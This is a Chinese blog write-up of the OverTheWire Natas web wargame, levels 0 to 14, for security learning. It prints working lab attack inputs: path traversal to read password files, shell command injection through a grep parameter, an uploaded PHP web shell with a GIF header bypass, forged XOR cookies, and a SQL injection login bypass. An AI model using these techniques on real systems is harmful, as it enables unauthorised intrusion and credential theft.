靶场链接:https://overthewire.org/wargames/natas/natas0.html

Level 0

按照题目的提示登录web页面,查看源码里获得下一级密码

Level 0 --> Level 1

登录natas1
提示禁用了右键,浏览器里选开发者选项查源码就可以了

Level 1 --> Level 2

登录natas2
页面写什么都没有,看了请求头之类的,确实什么都没有,发现源码里有一个奇怪的地方

<img src="files/pixel.png">

显示这个web有一个目录/files,访问files目录后里面除了pixel.png还有一个文本里面有下一级密码

[PARENTDIR]  Parent Directory        -
[IMG]   pixel.png   2016-12-15 16:07    303
[TXT]   users.txt   2016-12-20 05:15    145

Level 2 --> Level 3

登录natas3
源码中提示

<!-- No more information leaks!! Not even Google will find it this time... -->

谷歌都找不到,意味着限制爬虫的robots.txt中有内容
访问http://natas3.natas.labs.overthewire.org/robots.txt
回显了一个目录,访问目录里面就有下一级密码

http://natas3.natas.labs.overthewire.org//s3cr3t/[PARENTDIR] Parent Directory        -
[TXT]   users.txt   2016-12-20 05:15    40

Level 3 --> Level 4

登录natas4
提示很明显

You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

需要改请求头的Referer参数为http://natas5.natas.labs.overthewire.org/
使用burpsuit完成即可获得密码

Level 4 --> Level 5

登录natas5
提示Access disallowed. You are not logged in
继续用burpsuit,发现cookie里有一项loggedin=0这里改成1提交就可以获得下一级密码

Level 5 --> Level 6

登录natas6
页面有显示源码按钮,看到提示的源码

<?include "includes/secret.inc";if(array_key_exists("submit", $_POST)) {if($secret == $_POST['secret']) {print "Access granted. The password for natas7 is <censored>";} else {print "Wrong secret";}}
?>

如果输入的内容和已有的serect内容一致就会返回natas7的密码,看到包涵了一个文件secret.inc,直接访问这个文件就会发现serect的实际内容,提交即可

Level 6 --> Level 7

登录natas7
有两个按钮,触发后看到链接的变化

http://natas7.natas.labs.overthewire.org/index.php?page=home
http://natas7.natas.labs.overthewire.org/index.php?page=about

源码里有提示

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

构造路径穿越就可以访问到natas8的密码

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../etc/natas_webpass/natas8

Level 7 --> Level 8

登录natas8
还是源码审计

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";function encodeSecret($secret) {return bin2hex(strrev(base64_encode($secret)));
}if(array_key_exists("submit", $_POST)) {if(encodeSecret($_POST['secret']) == $encodedSecret) {print "Access granted. The password for natas9 is <censored>";} else {print "Wrong secret";}
}
?>

就是把endodedSecret的内容按照顺序执行 hex2bin --> strrev --> base64_decode就可以获得secret来提交获得密码

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";echo base64_decode(strrev(hex2bin($encodedSecret)))
?>

Level 8 --> Level 9

登录natas9
继续源码审计

<?
$key = "";if(array_key_exists("needle", $_REQUEST)) {$key = $_REQUEST["needle"];
}if($key != "") {passthru("grep -i $key dictionary.txt");
}
?>

就是把用户输入的内容执行了grep -i $key dictionary.txt
这里可以用到分割符“|”来进行额外的命令执行,构造内容直接获取密码

asdasda | cat /etc/natas_webpass/natas10

Level 9 --> Level 10

登录natas10
源码审计

<?
$key = "";if(array_key_exists("needle", $_REQUEST)) {$key = $_REQUEST["needle"];
}if($key != "") {if(preg_match('/[;|&]/',$key)) {print "Input contains an illegal character!";} else {passthru("grep -i $key dictionary.txt");}
}
?>

和上一题很相似,只是过滤了一部分命令分隔符,但是grep本身也具有读取文本的功能,构造内容读取密码

[A-Z][a-z] /etc/natas_webpass/natas11

Level 10 --> Level 11

登录natas11用户
代码审计老长了

<?$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");function xor_encrypt($in) {$key = '<censored>';$text = $in;$outText = '';// Iterate through each characterfor($i=0;$i<strlen($text);$i++) {$outText .= $text[$i] ^ $key[$i % strlen($key)];}return $outText;
}function loadData($def) {global $_COOKIE;$mydata = $def;if(array_key_exists("data", $_COOKIE)) {$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {$mydata['showpassword'] = $tempdata['showpassword'];$mydata['bgcolor'] = $tempdata['bgcolor'];}}}return $mydata;
}function saveData($d) {setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}$data = loadData($defaultdata);if(array_key_exists("bgcolor",$_REQUEST)) {if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {$data['bgcolor'] = $_REQUEST['bgcolor'];}
}saveData($data);
?>

首先这里终极目标是把“showpassword”的值改为“yes”
xor_encrypt()是一个异或算法,其中key的值未知
loadData()是读取cookie更新data值的一个函数
saveData()是一个将data值转换为cookie的函数
先由data xor key得到cookie可知,用data xor cookie可以求得key,cookie的值可以用浏览器,burpsuit、charles等等方法看到
稍稍修改一下xor_encrypt()即可

<?php
$cookie='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';$decode_cookie = base64_decode($cookie);function xor_encrypt($in) {$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");$key = json_encode($defaultdata);$text = $in;$outText = '';// Iterate through each characterfor($i=0;$i<strlen($text);$i++) {$outText .= $text[$i] ^ $key[$i % strlen($key)];}return $outText;
}$s_key = xor_encrypt($decode_cookie);echo $s_key
?>

执行得到key为qw8J
得到key以后就需要把defaultdata中“showpassword”的值改为“yes”重新生成cookie,利用远程序稍加修改即可实现

<?php$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");function xor_encrypt($in) {$key = 'qw8J';$text = $in;$outText = '';// Iterate through each characterfor($i=0;$i<strlen($text);$i++) {$outText .= $text[$i] ^ $key[$i % strlen($key)]; //把传入的内容和key按位异或}return $outText;
}function saveData($d) { echo (base64_encode(xor_encrypt(json_encode($d))));
}$my_cookie = saveData($defaultdata);echo $my_cookie?>

最后把重构好的cookie在打开页面的时候用burpsuit拦截替换data=后面的值后转发得到下一级密码

Level 11 --> Level 12

登录natas12用户
还是代码审计,有一个上传功能

<? function genRandomString() {$length = 10;$characters = "0123456789abcdefghijklmnopqrstuvwxyz";$string = "";    for ($p = 0; $p < $length; $p++) {$string .= $characters[mt_rand(0, strlen($characters)-1)];}return $string;
}function makeRandomPath($dir, $ext) {do {$path = $dir."/".genRandomString().".".$ext;} while(file_exists($path));return $path;
}function makeRandomPathFromFilename($dir, $fn) {$ext = pathinfo($fn, PATHINFO_EXTENSION);return makeRandomPath($dir, $ext);
}if(array_key_exists("filename", $_POST)) {$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {echo "File is too big";} else {if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";} else{echo "There was an error uploading the file, please try again!";}}
} else {?>

看了半天其实就是随机了文件名,对扩展名和内容都没有审计,直接用php查看/etc/natas_webpass/natas13,用返回的上传路径连接去查看就可以了。。。

<?php$a = system('cat /etc/natas_webpass/natas13');echo $a;
?>

Level 12 --> Level 13

登录natas13用户
和上一题源码很像

<? function genRandomString() {$length = 10;$characters = "0123456789abcdefghijklmnopqrstuvwxyz";$string = "";    for ($p = 0; $p < $length; $p++) {$string .= $characters[mt_rand(0, strlen($characters)-1)];}return $string;
}function makeRandomPath($dir, $ext) {do {$path = $dir."/".genRandomString().".".$ext;} while(file_exists($path));return $path;
}function makeRandomPathFromFilename($dir, $fn) {$ext = pathinfo($fn, PATHINFO_EXTENSION);return makeRandomPath($dir, $ext);
}if(array_key_exists("filename", $_POST)) {$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);$err=$_FILES['uploadedfile']['error'];if($err){if($err === 2){echo "The uploaded file exceeds MAX_FILE_SIZE";} else{echo "Something went wrong :/";}} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {echo "File is too big";} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {echo "File is not an image";} else {if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";} else{echo "There was an error uploading the file, please try again!";}}
} else {?>

这里的关键函数是exif_imagetype()

exif_imagetype() 读取一个图像的第一个字节并检查其签名

所以我们在上一题的代码前面加上图像的识别头GIF89a?即可

GIF89a?<?php$a = system('cat /etc/natas_webpass/natas14');echo $a;
?>

Level 13 --> Level 14

登录natas14用户
代码审计

<?
if(array_key_exists("username", $_REQUEST)) {$link = mysql_connect('localhost', 'natas14', '<censored>');mysql_select_db('natas14', $link);$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";if(array_key_exists("debug", $_GET)) {echo "Executing query: $query<br>";}if(mysql_num_rows(mysql_query($query, $link)) > 0) {echo "Successful login! The password for natas15 is <censored><br>";} else {echo "Access denied!<br>";}mysql_close($link);
} else {?>

输入用户名和密码没有任何过滤,而且有一个get的参数debug可以看到执行的语句非常和谐,构造一个payload看看回显

http://natas14.natas.labs.overthewire.org/?username=1&password=1&debug=1

回显

Executing query: SELECT * from users where username="1" and password="1"
Access denied!

这里只要用一个"来闭合用户名用or构造一个永真的值然后用#结尾即可
构造后的username为1" or 1#,password那部分可以为空。提交即可获得下一级密码

Level 14 --> Level 15

因数据库水平有限,笔记待更

Wargames学习笔记--Natas相关推荐

  1. Wargames学习笔记--Bandit

    靶场链接:https://overthewire.org/wargames/ 过程中大部分不会直接出现通关密码,有可能完结会附在文末 Level 0 游戏的开始,只需要按照主机名和端口号使用ssh链接 ...

  2. PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 call

    您的位置 首页 PyTorch 学习笔记系列 PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 发布: 2017年8月4日 7,195阅读 ...

  3. 容器云原生DevOps学习笔记——第三期:从零搭建CI/CD系统标准化交付流程

    暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...

  4. 容器云原生DevOps学习笔记——第二期:如何快速高质量的应用容器化迁移

    暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...

  5. 2020年Yann Lecun深度学习笔记(下)

    2020年Yann Lecun深度学习笔记(下)

  6. 2020年Yann Lecun深度学习笔记(上)

    2020年Yann Lecun深度学习笔记(上)

  7. 知识图谱学习笔记(1)

    知识图谱学习笔记第一部分,包含RDF介绍,以及Jena RDF API使用 知识图谱的基石:RDF RDF(Resource Description Framework),即资源描述框架,其本质是一个 ...

  8. 计算机基础知识第十讲,计算机文化基础(第十讲)学习笔记

    计算机文化基础(第十讲)学习笔记 采样和量化PictureElement Pixel(像素)(链接: 采样的实质就是要用多少点(这个点我们叫像素)来描述一张图像,比如,一幅420x570的图像,就表示 ...

  9. Go 学习推荐 —(Go by example 中文版、Go 构建 Web 应用、Go 学习笔记、Golang常见错误、Go 语言四十二章经、Go 语言高级编程)

    Go by example 中文版 Go 构建 Web 应用 Go 学习笔记:无痕 Go 标准库中文文档 Golang开发新手常犯的50个错误 50 Shades of Go: Traps, Gotc ...

最新文章

  1. c语言分段错误空指针,C语言空指针总结 - 祂的小哥哥的个人空间 - OSCHINA - 中文开源技术交流社区...
  2. [epoll]epoll理解
  3. 关于从基于Mult-Org的视图中查询数据的问题(转)
  4. Mycat简单实现读写分离与分库分表
  5. 4.9 总结-深度学习第一课《神经网络与深度学习》-Stanford吴恩达教授
  6. [JZOJ5836] Sequence
  7. 前端学习(1188):事件绑定
  8. 如何训练您的医生...使用开源
  9. 今日头条电脑版官方版_imclass电脑版下载-imclass在线教室pc版下载 v1.0.2 官方版...
  10. Linux基础之-Bash命令优先级
  11. 主流硬盘接口有哪些?
  12. java writedouble_java-将double转换为32位表示形式(以及相反的...
  13. springcloud 服务调用的两种方式
  14. 基于WPF开发了一款简单的小型CAD软件.放个效果图
  15. 自动化c语言课程设计,自动化与电气工程学院C语言课程设计报告.doc
  16. U盘“请将磁盘插入U盘”的问题
  17. 手机游戏创业者的苦涩:成功率被指0.1%
  18. 静态背景下运动目标检测 matlab_基于深度学习的视频目标检测综述
  19. [模仿]html5游戏_兔子踩铃铛
  20. 初识马尔可夫和马尔可夫链

热门文章

  1. VMware的存储野心(下):虚拟卷和闪存缓存
  2. 若依对接企业微信JS-DK
  3. MySQL根据当前日期获取具体某一天或者某些天的数据
  4. Leecode 55跳跃游戏
  5. php上传文件失败解决方式
  6. 编程语言之scala基础
  7. cnblogs!I'm comeing!
  8. 总结jQuery中的DOM节点属性
  9. mysql slave 1062_mysql主从同步slave错误1062
  10. 从全球价值链视角看,京东云数智供应链对未来经济有何影响?